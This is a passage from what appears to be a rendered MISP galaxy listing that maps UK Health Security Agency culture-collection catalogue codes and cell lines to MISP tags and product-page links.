https://www.culturecollections.org.uk/nop/product/bp6531-2

BC6434

The tag is: *misp-galaxy:ukhsa-culture-collections="BC6434"*

Table 27639. Table References

Links
https://www.culturecollections.org.uk/nop/product/bc6434-2

SP3474

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3474"*

Table 27640. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3474-2

SP3303

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3303"*

Table 27641. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3303-2

SC3345

The tag is: *misp-galaxy:ukhsa-culture-collections="SC3345"*

Table 27642. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc3345-2

SP3325

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3325"*

Table 27643. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3325-2

LP0582

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0582"*

Table 27644. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0582-2

SC3336

The tag is: *misp-galaxy:ukhsa-culture-collections="SC3336"*

Table 27645. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc3336-2

SNc0202

The tag is: *misp-galaxy:ukhsa-culture-collections="SNc0202"*

Table 27646. Table References

Links
https://www.culturecollections.org.uk/nop/product/snc0202-2

LP0584

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0584"*

Table 27647. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0584-2

SC3690

The tag is: *misp-galaxy:ukhsa-culture-collections="SC3690"*

Table 27648. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc3690-2

LC0579

The tag is: *misp-galaxy:ukhsa-culture-collections="LC0579"*

Table 27649. Table References

Links
https://www.culturecollections.org.uk/nop/product/lc0579-2

LP0405

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0405"*

Table 27650. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0405-2

BP6063

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6063"*

Table 27651. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6063-2

BC6055

The tag is: *misp-galaxy:ukhsa-culture-collections="BC6055"*

Table 27652. Table References

Links
https://www.culturecollections.org.uk/nop/product/bc6055-2

SMa0211

The tag is: *misp-galaxy:ukhsa-culture-collections="SMa0211"*

Table 27653. Table References

Links
https://www.culturecollections.org.uk/nop/product/sma0211-2

BBr0015

The tag is: *misp-galaxy:ukhsa-culture-collections="BBr0015"*

Table 27654. Table References

Links
https://www.culturecollections.org.uk/nop/product/bbr0015-2

LNh0072

The tag is: *misp-galaxy:ukhsa-culture-collections="LNh0072"*

Table 27655. Table References

Links
https://www.culturecollections.org.uk/nop/product/lnh0072-2

BLi0204

The tag is: *misp-galaxy:ukhsa-culture-collections="BLi0204"*

Table 27656. Table References

Links
https://www.culturecollections.org.uk/nop/product/bli0204-2

SPr0085

The tag is: *misp-galaxy:ukhsa-culture-collections="SPr0085"*

Table 27657. Table References

Links
https://www.culturecollections.org.uk/nop/product/spr0085-2

LP0657

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0657"*

Table 27658. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0657-2

BLi0083

The tag is: *misp-galaxy:ukhsa-culture-collections="BLi0083"*

Table 27659. Table References

Links
https://www.culturecollections.org.uk/nop/product/bli0083-2

SP3650

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3650"*

Table 27660. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3650-2

LP0665

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0665"*

Table 27661. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0665-2

LP0393

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0393"*

Table 27662. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0393-2

BLi0251

The tag is: *misp-galaxy:ukhsa-culture-collections="BLi0251"*

Table 27663. Table References

Links
https://www.culturecollections.org.uk/nop/product/bli0251-2

SNc0106

The tag is: *misp-galaxy:ukhsa-culture-collections="SNc0106"*

Table 27664. Table References

Links
https://www.culturecollections.org.uk/nop/product/snc0106-2

LC0209

The tag is: *misp-galaxy:ukhsa-culture-collections="LC0209"*

Table 27665. Table References

Links
https://www.culturecollections.org.uk/nop/product/lc0209-2

SPr0059

The tag is: *misp-galaxy:ukhsa-culture-collections="SPr0059"*

Table 27666. Table References

Links
https://www.culturecollections.org.uk/nop/product/spr0059-2

LSh0038

The tag is: *misp-galaxy:ukhsa-culture-collections="LSh0038"*

Table 27667. Table References

Links
https://www.culturecollections.org.uk/nop/product/lsh0038-2

LP0637

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0637"*

Table 27668. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0637-2

SC3780

The tag is: *misp-galaxy:ukhsa-culture-collections="SC3780"*

Table 27669. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc3780-2

LC0009

The tag is: *misp-galaxy:ukhsa-culture-collections="LC0009"*

Table 27670. Table References

Links
https://www.culturecollections.org.uk/nop/product/lc0009-2

SMa0008

The tag is: *misp-galaxy:ukhsa-culture-collections="SMa0008"*

Table 27671. Table References

Links
https://www.culturecollections.org.uk/nop/product/sma0008-2

LP0148

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0148"*

Table 27672. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0148-2

LP0008

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0008"*

Table 27673. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0008-2

LNh0101

The tag is: *misp-galaxy:ukhsa-culture-collections="LNh0101"*

Table 27674. Table References

Links
https://www.culturecollections.org.uk/nop/product/lnh0101-2

SPr0086

The tag is: *misp-galaxy:ukhsa-culture-collections="SPr0086"*

Table 27675. Table References

Links
https://www.culturecollections.org.uk/nop/product/spr0086-2

SPr0080

The tag is: *misp-galaxy:ukhsa-culture-collections="SPr0080"*

Table 27676. Table References

Links
https://www.culturecollections.org.uk/nop/product/spr0080-2

SNc0125

The tag is: *misp-galaxy:ukhsa-culture-collections="SNc0125"*

Table 27677. Table References

Links
https://www.culturecollections.org.uk/nop/product/snc0125-2

LC0501

The tag is: *misp-galaxy:ukhsa-culture-collections="LC0501"*

Table 27678. Table References

Links
https://www.culturecollections.org.uk/nop/product/lc0501-2

SPr0079

The tag is: *misp-galaxy:ukhsa-culture-collections="SPr0079"*

Table 27679. Table References

Links
https://www.culturecollections.org.uk/nop/product/spr0079

SPr0026

The tag is: *misp-galaxy:ukhsa-culture-collections="SPr0026"*

Table 27680. Table References

Links
https://www.culturecollections.org.uk/nop/product/spr0026-2

SP3779

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3779"*

Table 27681. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3779-2

SP3534

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3534"*

Table 27682. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3534-2

SMa0006

The tag is: *misp-galaxy:ukhsa-culture-collections="SMa0006"*

Table 27683. Table References

Links
https://www.culturecollections.org.uk/nop/product/sma0006-2

LCa0026

The tag is: *misp-galaxy:ukhsa-culture-collections="LCa0026"*

Table 27684. Table References

Links
https://www.culturecollections.org.uk/nop/product/lca0026-2

LC0170

The tag is: *misp-galaxy:ukhsa-culture-collections="LC0170"*

Table 27685. Table References

Links
https://www.culturecollections.org.uk/nop/product/lc0170-2

SP3668

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3668"*

Table 27686. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3668-2

SNc0031

The tag is: *misp-galaxy:ukhsa-culture-collections="SNc0031"*

Table 27687. Table References

Links
https://www.culturecollections.org.uk/nop/product/snc0031-2

LP0303

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0303"*

Table 27688. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0303-2

BP6508

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6508"*

Table 27689. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6508-2

SNc0041

The tag is: *misp-galaxy:ukhsa-culture-collections="SNc0041"*

Table 27690. Table References

Links
https://www.culturecollections.org.uk/nop/product/snc0041-2

BC6071

The tag is: *misp-galaxy:ukhsa-culture-collections="BC6071"*

Table 27691. Table References

Links
https://www.culturecollections.org.uk/nop/product/bc6071-2

LCa0111

The tag is: *misp-galaxy:ukhsa-culture-collections="LCa0111"*

Table 27692. Table References

Links
https://www.culturecollections.org.uk/nop/product/lca0111-2

SC3220

The tag is: *misp-galaxy:ukhsa-culture-collections="SC3220"*

Table 27693. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc3220-2

LC0658

The tag is: *misp-galaxy:ukhsa-culture-collections="LC0658"*

Table 27694. Table References

Links
https://www.culturecollections.org.uk/nop/product/lc0658-2

SP3590

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3590"*

Table 27695. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3590-2

SP3547

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3547"*

Table 27696. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3547-2

SP3070

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3070"*

Table 27697. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3070-2

LPo0036

The tag is: *misp-galaxy:ukhsa-culture-collections="LPo0036"*

Table 27698. Table References

Links
https://www.culturecollections.org.uk/nop/product/lpo0036-2

LP0091

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0091"*

Table 27699. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0091-2

LP0073

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0073"*

Table 27700. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0073-2

SC3602

The tag is: *misp-galaxy:ukhsa-culture-collections="SC3602"*

Table 27701. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc3602-2

LC0216

The tag is: *misp-galaxy:ukhsa-culture-collections="LC0216"*

Table 27702. Table References

Links
https://www.culturecollections.org.uk/nop/product/lc0216-2

BC6023

The tag is: *misp-galaxy:ukhsa-culture-collections="BC6023"*

Table 27703. Table References

Links
https://www.culturecollections.org.uk/nop/product/bc6023-2

SP3331

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3331"*

Table 27704. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3331-2

SP3006

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3006"*

Table 27705. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3006-2

SMa0166

The tag is: *misp-galaxy:ukhsa-culture-collections="SMa0166"*

Table 27706. Table References

Links
https://www.culturecollections.org.uk/nop/product/sma0166-2

LP0663

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0663"*

Table 27707. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0663-2

LP0137

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0137"*

Table 27708. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0137-2

BP6550

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6550"*

Table 27709. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6550-2

SMa0232

The tag is: *misp-galaxy:ukhsa-culture-collections="SMa0232"*

Table 27710. Table References

Links
https://www.culturecollections.org.uk/nop/product/sma0232-2

LC0696

The tag is: *misp-galaxy:ukhsa-culture-collections="LC0696"*

Table 27711. Table References

Links
https://www.culturecollections.org.uk/nop/product/lc0696-2

SP3526

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3526"*

Table 27712. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3526-2

SP3089

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3089"*

Table 27713. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3089-2

SP3063

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3063"*

Table 27714. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3063-2

SNc0189

The tag is: *misp-galaxy:ukhsa-culture-collections="SNc0189"*

Table 27715. Table References

Links
https://www.culturecollections.org.uk/nop/product/snc0189-2

SNc0063

The tag is: *misp-galaxy:ukhsa-culture-collections="SNc0063"*

Table 27716. Table References

Links
https://www.culturecollections.org.uk/nop/product/snc0063-2

LP0618

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0618"*

Table 27717. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0618-2

BP6391

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6391"*

Table 27718. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6391-2

BP6054

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6054"*

Table 27719. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6054-2

BLi0246

The tag is: *misp-galaxy:ukhsa-culture-collections="BLi0246"*

Table 27720. Table References

Links
https://www.culturecollections.org.uk/nop/product/bli0246

SC3535

The tag is: *misp-galaxy:ukhsa-culture-collections="SC3535"*

Table 27721. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc3535-2

SC3521

The tag is: *misp-galaxy:ukhsa-culture-collections="SC3521"*

Table 27722. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc3521-2

BLi0036

The tag is: *misp-galaxy:ukhsa-culture-collections="BLi0036"*

Table 27723. Table References

Links
https://www.culturecollections.org.uk/nop/product/bli0036-2

BC6231

The tag is: *misp-galaxy:ukhsa-culture-collections="BC6231"*

Table 27724. Table References

Links
https://www.culturecollections.org.uk/nop/product/bc6231-2

SP3610

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3610"*

Table 27725. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3610-2

SP3033

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3033"*

Table 27726. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3033-2

LP0475

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0475"*

Table 27727. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0475-2

BP6494

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6494"*

Table 27728. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6494-2

SC3611

The tag is: *misp-galaxy:ukhsa-culture-collections="SC3611"*

Table 27729. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc3611-2

LNh0108

The tag is: *misp-galaxy:ukhsa-culture-collections="LNh0108"*

Table 27730. Table References

Links
https://www.culturecollections.org.uk/nop/product/lnh0108-2

LCa0042

The tag is: *misp-galaxy:ukhsa-culture-collections="LCa0042"*

Table 27731. Table References

Links
https://www.culturecollections.org.uk/nop/product/lca0042-2

SMa0078

The tag is: *misp-galaxy:ukhsa-culture-collections="SMa0078"*

Table 27732. Table References

Links
https://www.culturecollections.org.uk/nop/product/sma0078-2

LP0480

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0480"*

Table 27733. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0480-2

BP6488

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6488"*

Table 27734. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6488-2

SMa0031

The tag is: *misp-galaxy:ukhsa-culture-collections="SMa0031"*

Table 27735. Table References

Links
https://www.culturecollections.org.uk/nop/product/sma0031-2

BC6309

The tag is: *misp-galaxy:ukhsa-culture-collections="BC6309"*

Table 27736. Table References

Links
https://www.culturecollections.org.uk/nop/product/bc6309-2

SP3068

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3068"*

Table 27737. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3068-2

LP0305

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0305"*

Table 27738. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0305-2

BP6334

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6334"*

Table 27739. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6334-2

BP6308

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6308"*

Table 27740. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6308-2

LC0404

The tag is: *misp-galaxy:ukhsa-culture-collections="LC0404"*

Table 27741. Table References

Links
https://www.culturecollections.org.uk/nop/product/lc0404-2

BC6448

The tag is: *misp-galaxy:ukhsa-culture-collections="BC6448"*

Table 27742. Table References

Links
https://www.culturecollections.org.uk/nop/product/bc6448-2

BC6046

The tag is: *misp-galaxy:ukhsa-culture-collections="BC6046"*

Table 27743. Table References

Links
https://www.culturecollections.org.uk/nop/product/bc6046-2

SP3154

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3154"*

Table 27744. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3154-2

LP0568

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0568"*

Table 27745. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0568-2

LP0125

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0125"*

Table 27746. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0125-2

BP6447

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6447"*

Table 27747. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6447-2

BP6072

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6072"*

Table 27748. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6072-2

BOx0029

The tag is: *misp-galaxy:ukhsa-culture-collections="BOx0029"*

Table 27749. Table References

Links
https://www.culturecollections.org.uk/nop/product/box0029-2

SC3223

The tag is: *misp-galaxy:ukhsa-culture-collections="SC3223"*

Table 27750. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc3223-2

BC6263

The tag is: *misp-galaxy:ukhsa-culture-collections="BC6263"*

Table 27751. Table References

Links
https://www.culturecollections.org.uk/nop/product/bc6263-32

BC6073

The tag is: *misp-galaxy:ukhsa-culture-collections="BC6073"*

Table 27752. Table References

Links
https://www.culturecollections.org.uk/nop/product/bc6073

SP3202

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3202"*

Table 27753. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3202

LPy0018

The tag is: *misp-galaxy:ukhsa-culture-collections="LPy0018"*

Table 27754. Table References

Links
https://www.culturecollections.org.uk/nop/product/lpy0018

LCa0020

The tag is: *misp-galaxy:ukhsa-culture-collections="LCa0020"*

Table 27755. Table References

Links
https://www.culturecollections.org.uk/nop/product/lca0020

LC0270

The tag is: *misp-galaxy:ukhsa-culture-collections="LC0270"*

Table 27756. Table References

Links
https://www.culturecollections.org.uk/nop/product/lc0270

LP0437

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0437"*

Table 27757. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0437

BP6502

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6502"*

Table 27758. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6502

SC3217

The tag is: *misp-galaxy:ukhsa-culture-collections="SC3217"*

Table 27759. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc3217

LC0291

The tag is: *misp-galaxy:ukhsa-culture-collections="LC0291"*

Table 27760. Table References

Links
https://www.culturecollections.org.uk/nop/product/lc0291

LP0328

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0328"*

Table 27761. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0328

BP6077

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6077"*

Table 27762. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6077

LNh0030

The tag is: *misp-galaxy:ukhsa-culture-collections="LNh0030"*

Table 27763. Table References

Links
https://www.culturecollections.org.uk/nop/product/lnh0030

LC0371

The tag is: *misp-galaxy:ukhsa-culture-collections="LC0371"*

Table 27764. Table References

Links
https://www.culturecollections.org.uk/nop/product/lc0371

SP3796

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3796"*

Table 27765. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3796

BP6061

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6061"*

Table 27766. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6061

LC0389

The tag is: *misp-galaxy:ukhsa-culture-collections="LC0389"*

Table 27767. Table References

Links
https://www.culturecollections.org.uk/nop/product/lc0389

BC6062

The tag is: *misp-galaxy:ukhsa-culture-collections="BC6062"*

Table 27768. Table References

Links
https://www.culturecollections.org.uk/nop/product/bc6062

SP3462

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3462"*

Table 27769. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3462

SP3216

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3216"*

Table 27770. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3216

SP3118

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3118"*

Table 27771. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3118

LP0682

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0682"*

Table 27772. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0682

LP0051

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0051"*

Table 27773. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0051

SC3509

The tag is: *misp-galaxy:ukhsa-culture-collections="SC3509"*

Table 27774. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc3509

SMa0020

The tag is: *misp-galaxy:ukhsa-culture-collections="SMa0020"*

Table 27775. Table References

Links
https://www.culturecollections.org.uk/nop/product/sma0020

SNc0080

The tag is: *misp-galaxy:ukhsa-culture-collections="SNc0080"*

Table 27776. Table References

Links
https://www.culturecollections.org.uk/nop/product/snc0080

SC3784

The tag is: *misp-galaxy:ukhsa-culture-collections="SC3784"*

Table 27777. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc3784

SP3218

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3218"*

Table 27778. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3218

SNc0204

The tag is: *misp-galaxy:ukhsa-culture-collections="SNc0204"*

Table 27779. Table References

Links
https://www.culturecollections.org.uk/nop/product/snc0204

LP0013

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0013"*

Table 27780. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0013

BLi0254

The tag is: *misp-galaxy:ukhsa-culture-collections="BLi0254"*

Table 27781. Table References

Links
https://www.culturecollections.org.uk/nop/product/bli0254

SP3783

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3783"*

Table 27782. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3783

LC0169

The tag is: *misp-galaxy:ukhsa-culture-collections="LC0169"*

Table 27783. Table References

Links
https://www.culturecollections.org.uk/nop/product/lc0169

SP3560

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3560"*

Table 27784. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3560

SP3508

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3508"*

Table 27785. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3508

SP3127

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3127"*

Table 27786. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3127

LP0157

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0157"*

Table 27787. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0157

BP6074

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6074"*

Table 27788. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6074

SC3504

The tag is: *misp-galaxy:ukhsa-culture-collections="SC3504"*

Table 27789. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc3504

LC0293

The tag is: *misp-galaxy:ukhsa-culture-collections="LC0293"*

Table 27790. Table References

Links
https://www.culturecollections.org.uk/nop/product/lc0293

BLi0097

The tag is: *misp-galaxy:ukhsa-culture-collections="BLi0097"*

Table 27791. Table References

Links
https://www.culturecollections.org.uk/nop/product/bli0097

LP0456

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0456"*

Table 27792. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0456

LP0075

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0075"*

Table 27793. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0075

BP6551

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6551"*

Table 27794. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6551

SC3406

The tag is: *misp-galaxy:ukhsa-culture-collections="SC3406"*

Table 27795. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc3406

BP6206

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6206"*

Table 27796. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6206

SP3277

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3277"*

Table 27797. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3277

LP0168

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0168"*

Table 27798. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0168

LNh0050

The tag is: *misp-galaxy:ukhsa-culture-collections="LNh0050"*

Table 27799. Table References

Links
https://www.culturecollections.org.uk/nop/product/lnh0050

LRo0022

The tag is: *misp-galaxy:ukhsa-culture-collections="LRo0022"*

Table 27800. Table References

Links
https://www.culturecollections.org.uk/nop/product/lro0022

LC0282

The tag is: *misp-galaxy:ukhsa-culture-collections="LC0282"*

Table 27801. Table References

Links
https://www.culturecollections.org.uk/nop/product/lc0282

SP3659

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3659"*

Table 27802. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3659

LP0225

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0225"*

Table 27803. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0225

BP6504

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6504"*

Table 27804. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6504

BLi0249

The tag is: *misp-galaxy:ukhsa-culture-collections="BLi0249"*

Table 27805. Table References

Links
https://www.culturecollections.org.uk/nop/product/bli0249

BC6141

The tag is: *misp-galaxy:ukhsa-culture-collections="BC6141"*

Table 27806. Table References

Links
https://www.culturecollections.org.uk/nop/product/bc6141

BC6125

The tag is: *misp-galaxy:ukhsa-culture-collections="BC6125"*

Table 27807. Table References

Links
https://www.culturecollections.org.uk/nop/product/bc6125

SP3769

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3769"*

Table 27808. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3769

SC3192

The tag is: *misp-galaxy:ukhsa-culture-collections="SC3192"*

Table 27809. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc3192

SP3702

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3702"*

Table 27810. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3702

LP0614

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0614"*

Table 27811. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0614

BP6535

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6535"*

Table 27812. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6535

LC0226

The tag is: *misp-galaxy:ukhsa-culture-collections="LC0226"*

Table 27813. Table References

Links
https://www.culturecollections.org.uk/nop/product/lc0226

BP6165

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6165"*

Table 27814. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6165

SC3490

The tag is: *misp-galaxy:ukhsa-culture-collections="SC3490"*

Table 27815. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc3490

BLi0001

The tag is: *misp-galaxy:ukhsa-culture-collections="BLi0001"*

Table 27816. Table References

Links
https://www.culturecollections.org.uk/nop/product/bli0001

BC6505

The tag is: *misp-galaxy:ukhsa-culture-collections="BC6505"*

Table 27817. Table References

Links
https://www.culturecollections.org.uk/nop/product/bc6505

SNc0214

The tag is: *misp-galaxy:ukhsa-culture-collections="SNc0214"*

Table 27818. Table References

Links
https://www.culturecollections.org.uk/nop/product/snc0214

BP6124

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6124"*

Table 27819. Table References

Links
https://www.culturecollections.org.uk/nop/product/bp6124

SP3528

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3528"*

Table 27820. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3528

SP3148

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3148"*

Table 27821. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3148

LP0048

The tag is: *misp-galaxy:ukhsa-culture-collections="LP0048"*

Table 27822. Table References

Links
https://www.culturecollections.org.uk/nop/product/lp0048

BLi0265

The tag is: *misp-galaxy:ukhsa-culture-collections="BLi0265"*

Table 27823. Table References

Links
https://www.culturecollections.org.uk/nop/product/bli0265

HeLa mCherry-Histone H2B EGFP-Alpha Tubulin

The tag is: *misp-galaxy:ukhsa-culture-collections="HeLa mCherry-Histone H2B EGFP-Alpha Tubulin"*

Table 27824. Table References

Links
https://www.culturecollections.org.uk/nop/product/hela-mcherry-histone-h2b-egfp-alpha-tubulin

MCF7/AnaR-2

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/AnaR-2"*

Table 27825. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7anar-2

MCF7/ExeR-1

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/ExeR-1"*

Table 27826. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7exer-1

MCF7/ExeR-2

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/ExeR-2"*

Table 27827. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7exer-2

MCF7/ExeR-3

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/ExeR-3"*

Table 27828. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7exer-3

Pseudoxanthomonas winnipegensis

